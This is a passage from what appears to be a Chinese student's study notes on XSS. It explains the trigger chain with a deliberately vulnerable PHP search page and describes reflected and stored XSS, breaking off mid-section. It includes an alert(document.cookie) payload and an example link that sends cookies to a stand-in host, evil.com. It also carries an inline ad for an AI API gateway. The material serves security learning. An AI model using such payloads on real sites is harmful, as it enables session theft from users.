XSS是Web安全里最容易被低估的漏洞,没有之一。第一节课老师把“第四周作业”打在屏幕上,主题栏就三个字母:XSS。说实话,我当时心里是有点不屑的——就是往输入框里塞一段脚本,浏览器弹个窗而已,能有多大花头?直到我真正把DVWA从Low一路打到Impossible,又去CTFHub刷掉几个xss题之后,才意识到自己之前对xss漏洞的理解有多浅。一个能独立构造xss payload的人,和一个只会从网上复制POC的人,中间差的不是一节课,而是对整个Web信任边界的理解深度。
这篇文章不是第四周作业的提交说明,而是把这一周踩过的坑、总结的规律、对三类xss攻击的拆解方式做一个完整沉淀。如果你也在学Web安全,或者正卡在某道xss题目的思路上,这份笔记应该能帮你省下不少瞎折腾的时间。
1. XSS漏洞的本质:突破浏览器信任边界的缺口
1.1 一个反射型XSS的完整触发链路
我习惯用一句话给XSS定性:XSS是攻击者在别人的浏览器里执行自己代码的能力。这句话的关键不在“执行代码”,而在“别人的浏览器”。
随便写个最简单的例子,一个典型的搜索页:
php复制<?php
// search.php
$keyword = $_GET['q'];
echo '<p>你搜索的关键词是:' . $keyword . '</p>';
?>
如果用户输入<script>alert(document.cookie)</script>,服务端会把它原封不动拼进返回的HTML里。浏览器收到响应后,发现<script>标签,自然就执行了。整个过程像什么?像一个快递代收点:你递过去一个包裹,工作人员不检查里面是什么,直接把包裹原样转交给了快递柜。如果包裹里是一颗炸弹,爆炸地点就是快递柜内部——这里的快递柜就是浏览器。
触发链路拆开来看就四个环节:
- 用户可控输入进入请求参数
- 服务端未做过滤或转义,直接拼接进响应
- 浏览器解析响应时把攻击代码当成合法HTML/JS执行
- 攻击代码在受害者的会话上下文里运行
只要这条链路上任何一个环节加了防护,XSS就打不起来。但现实中因为业务复杂、开发水平参差、老系统遗留代码多,这四个环节经常裸奔。
1.2 XSS的攻击对象从来不是服务器
这是初学者最容易搞混的认知。SQL注入打的是数据库,文件上传打的是服务器磁盘,但XSS的攻击目标始终是浏览器里的用户。
攻击者通过xss payload拿到了什么?不是服务器的权限,而是受害者在目标站点里的会话凭证、页面内容、操作能力。换句话说,攻击者劫持的是“登录态用户”的浏览器。XSS真正的杀伤力也在这里:它不直接进攻服务器,而是通过服务器这个“中间人”来进攻访问服务器的用户。
所以xss漏洞通常出现在评论区、留言板、个人资料编辑、搜索框这类“用户输入会被展示给其他用户”的功能点上。存储型xss尤其危险——payload被永久保存在服务端,每个访问页面的人都会中招,等于在热门景点门口挖了个坑,谁路过谁掉进去。
我后来做DVWA靶场通关时一直在想这个点:xss和SQL注入最大的区别,在于SQL注入的目标是数据,xss的目标是人。攻击面从机器扩展到了人,这决定了它的利用方式更加灵活多变,也更难彻底防御。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 反射型、存储型、DOM型:三种XSS的行为差异与判定口诀
2.1 反射型:一次性交易,用完即走
反射型XSS又称非持久性XSS。payload随请求发送,服务端接收后直接拼进响应返回,整个过程一次往返,payload不会留在服务端。
判定特征:请求里有什么,响应里就有什么,且不带任何过滤痕迹。
这类漏洞常见于搜索框、错误提示页、参数回显。攻击者一般不会把反射型xss直接用在自己身上,而是通过构造一个恶意链接诱导受害者点击:
code复制https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
问题在于,现在的浏览器和搜索引擎对URL里明目张胆的<script>很敏感,所以实战中反射型xss往往会配合URL编码、HTML实体编码或者短链接来降低受害者的警惕性。
2.2 存储型:植入一次,持续收割
存储型XSS的触发过程是:攻击者把payload提交到服务端,服务端存入数据库,之后任何用户访问包含该payload的页面时,浏览器都会执行。
判定特征:*payload持久化存在于服务端,攻击者无需反复提交
